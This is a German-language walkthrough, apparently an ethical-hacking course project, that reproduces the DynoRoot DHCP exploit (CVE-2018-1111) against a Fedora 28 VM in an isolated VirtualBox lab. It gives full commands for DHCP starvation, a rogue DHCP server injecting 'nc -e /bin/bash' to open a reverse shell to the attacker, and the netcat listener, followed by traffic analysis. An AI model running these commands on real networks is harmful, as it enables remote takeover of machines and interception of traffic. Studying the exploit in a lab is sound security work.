sudo su cd wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh' chmod u+x Miniconda3-latest-Linux-x86_64.sh ./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda ./miniconda/bin/conda init source .bashrc
conda create -y -n dynoroot python=3.6 conda activate dynoroot pip install 'scapy[complete]'
Als nächstes holen wir uns die beiden Angriffsskripte von GitHub:
- **DHCP starvation**\
Dieses Skript wird den harmlosen DHCP mit gefälschten Anfragen überfluten,
und so den Pool verfügbarer Adressen erschöpfen. ```bash
git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
Der Opfer-Rechner ist auf keine besondere Weise konfiguriert, es ist einfach eine Fedora 28 Installation mit einem anfälligen NetworkManager.
Laden Sie das Fedora ISO herunter:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF
Erstelle die VM:
- Netzwerkschnittstelle 1, verbunden mit dem standardmäßigen NAT-Netzwerk von VirtualBox
- Netzwerkschnittstelle 2, verbunden mit dem internen Netzwerk `intnet`\
(das "f" in der MAC-Adresse steht für Fedora)
- Portweiterleitung von einem `600x`-Port auf dem Host zum SSH-Port in der virtuellen Maschine```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'
VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
Wenn etwas schiefgeht:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### OS Install
Beim ersten Booten des Rechners benötigen wir einen virtuellen Desktop, um den Installationsschritten folgen zu können. Wir können die virtuelle Maschine im headless mehr starten und `rdesktop-vrdp` verwenden, um eine Verbindung herzustellen. Wenn VirtualBox auf einem Desktop-Computer läuft, ist es möglicherweise einfacher, die virtuelle Maschine über die GUI zu starten, aber diese Methode funktioniert auch mit einem entfernten VirtualBox-Host.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Installationskonfiguration:
fedoravictimvicenp0s8 für DHCP einstellen

Nach der Installation herunterfahren, die ISO entfernen und VRDE deaktivieren:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSH-Anmeldung
Um den Zugriff zu erleichtern, können wir den oben erstellten SSH-Schlüssel auf der `victim`-Maschine installieren:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack
Überprüfen Sie, ob die Schnittstelle enp0s8 DHCP verwendet:```bash
sudo nmcli device show enp0s8
Andernfalls kann es mit:```
sudo nmcli connection down enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up enp0s8
Um zu einer statischen IP zurückzukehren:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8
## Durchführung des Angriffs
Die folgenden Schritte, in der angegebenen Reihenfolge ausgeführt, zeigen den DHCP-Angriff. Wir empfehlen, einen Terminal-Multiplexer wie [Byobu](https://www.byobu.org/) einzurichten, um das Springen zwischen den Maschinen zu erleichtern.
Vor dem Angriff:
1. Starten Sie die 3 virtuellen Maschinen, die sich automatisch mit dem benignen DHCP verbinden
2. Trennen Sie die Fedora-Maschine und bereinigen Sie die DHCP-Lease-Dateien, um eine neue Verbindung zu simulieren
3. Starten Sie den DHCP-Server neu, um eine neue Verbindung zu simulieren
Der Angriff selbst besteht aus:
1. Starten einer Reihe von gefälschten DHCP-REQUESTs vom Angreifer, um den benignen DHCP-Server _auszuhungern_
2. Starten des betrügerischen DHCP-Servers, der die bösartigen OFFERs an das Opfer sendet
3. Wiederanschließen der Fedora-Maschine und Warten darauf, dass der NetworkManager einen DHCP DISCOVER sendet
4. Warten auf die Verbindung der Reverse Shell
Falls etwas schiefgeht, stoppen Sie alle relevanten Dienste und beginnen Sie von vorne.
### Gateway
Alte DHCP-Leases und die ARP-Tabelle bereinigen, dann den DHCP neu starten:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8
sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Holen Sie sich eine neue DHCP-Lease:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8
Zeichne DHCP-Verkehr mit `tcpdump` auf:```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
Alternativ kann VirtualBox auch Datenverkehr aufzeichnen:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off
DHCP starvation starten (als `root` ausführen):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
--interface enp0s8 \
--pool-start 192.168.0.100 \
--pool-end 192.168.0.105
Verwenden Sie netcat, um auf Verbindungen des Opfers zu lauschen:``` nc -v -l -p 1337
Angriff starten (ausführen als `root`):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
-i enp0s8 \
-s 192.168.0.0/24 \
-g 192.168.0.1 \
-d 'victim.net' \
-m "${MY_MAC}" \
-p "nc -e /bin/bash ${MY_IP} 1337"
Alte DHCP-Leases bereinigen und neu verbinden:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete
sudo nmcli connection up enp0s8 nmcli
### Analyse
#### Videoaufzeichnung
Das folgende [Video](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) zeigt die Ausführung des Angriffs gemäß den obigen Schritten. Im Video ist Folgendes zu beobachten:
1. Der 4-Wege-DHCP-Austausch zwischen dem `gateway` und dem `attacker`
2. Der DHCP-Starvation-Angriff, sowohl auf der Konsole des Angreifers als auch in den Logs des DHCP-Servers (beachte das `NACK` aufgrund der bestehenden Lease des Angreifers)
3. Die Meldung „no free leases“ vom `gateway`, wenn das `victim` ein DHCP `DISCOVER` sendet
4. Die manipulierten DHCP-Nachrichten des betrügerischen DHCP-Servers, der `192.168.0.2` anbietet
5. Die Bestätigung, dass netcat die Reverse-Shell-Verbindung von `192.168.0.2` erhalten hat
6. Die gefälschten DNS-Optionen, die das `victim` erhalten hat, nämlich die DNS-Adresse `192.168.0.1` und die Domain `victim.net`
7. Die erfolgreiche Remote-Codeausführung einfacher Befehle auf dem Opferrechner
8. Das DHCP `RELEASE`, das am Ende des Angriffs gesendet wurde
<a href="https://youtu.be/rgjMzQ5ExyA">
<img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>
#### Verkehrsanalyse
Die [Capture-Datei](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap) mit der Aufzeichnung des Angriffs kann in [Wireshark](https://wiki.wireshark.org/DHCP) analysiert werden. In der Aufzeichnung ist Folgendes zu bemerken:
1. Der 4-Wege-DHCP-Austausch zwischen dem `gateway` und dem `attacker`
2. Der DHCP-Starvation-Angriff
3. Der DPCH-Austausch, der vom `victim` initiiert und vom `attacker` abgeschlossen wurde
4. Die ARP-_who-has_-Anfragen und -Antworten, als das `victim` die netcat-Sitzung auf dem `attacker` herstellte
<figure style="text-align:center">
<img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
<figcaption>Paketmitschnitt des Angriffs; die für den Exploit relevante DHCP-Option ist hervorgehoben. Die Buchstaben in den MAC-Adressen stehen für: <code>d</code> DHCP-Server, <code>a</code> Angreifer, <code>f</code> Fedora-Opfer</figcaption>
</figure>
## Zukünftige Arbeiten
DynoRoot zielt auf alte Fedora- und RedHat-Distributionen ab und wurde in neueren Versionen gepatcht. Daher sind die Chancen, diesen Exploit in freier Wildbahn durchzuführen, begrenzt. Glücklicherweise beschränken sich DHCP-Angriffe nicht auf Remote-Codeausführung: Jede Art von manipulierter Option wird vom Client akzeptiert, unabhängig vom Vorhandensein der DynoRoot-Sicherheitslücke. Der einfachste Weg, dieses Verhalten auszunutzen, besteht darin, einen vom Angreifer kontrollierten Rechner als Netzwerk-Gateway oder als DNS für eine bestimmte Zone zu bewerben, wodurch jeglicher weiterer Datenverkehr überwacht, inspiziert und umgeleitet werden kann.
Eine weitere interessante Richtung betrifft DHCP-Starvation-Angriffe. Der in diesem Projekt vorgestellte Angriff beruht auf dem Überfluten des DHCP-Servers mit `REQUESTS` von gefälschten MAC-Adressen, was nicht gerade als unauffällig bezeichnet werden kann. Dieser Blogbeitrag untersucht die Möglichkeit, [Starvation-Angriffe durchzuführen, ohne ein einziges DHCP-Paket zu senden](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9), sondern stattdessen auf gefälschte ARP-Antworten zu setzen.
## Credits
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) wurde Red Hat von [Felix Wilhelm](https://twitter.com/_fel1x) vom Google-Sicherheitsteam gemeldet.
Das Python-Skript zur Durchführung des Exploits stammt aus dem GitHub-[Repository](https://github.com/kkirsche/CVE-2018-1111) von [Kevin Kirsche](https://github.com/kkirsche) mit geringfügigen Änderungen, um die eigene MAC-Adresse des Angreifers zu ignorieren.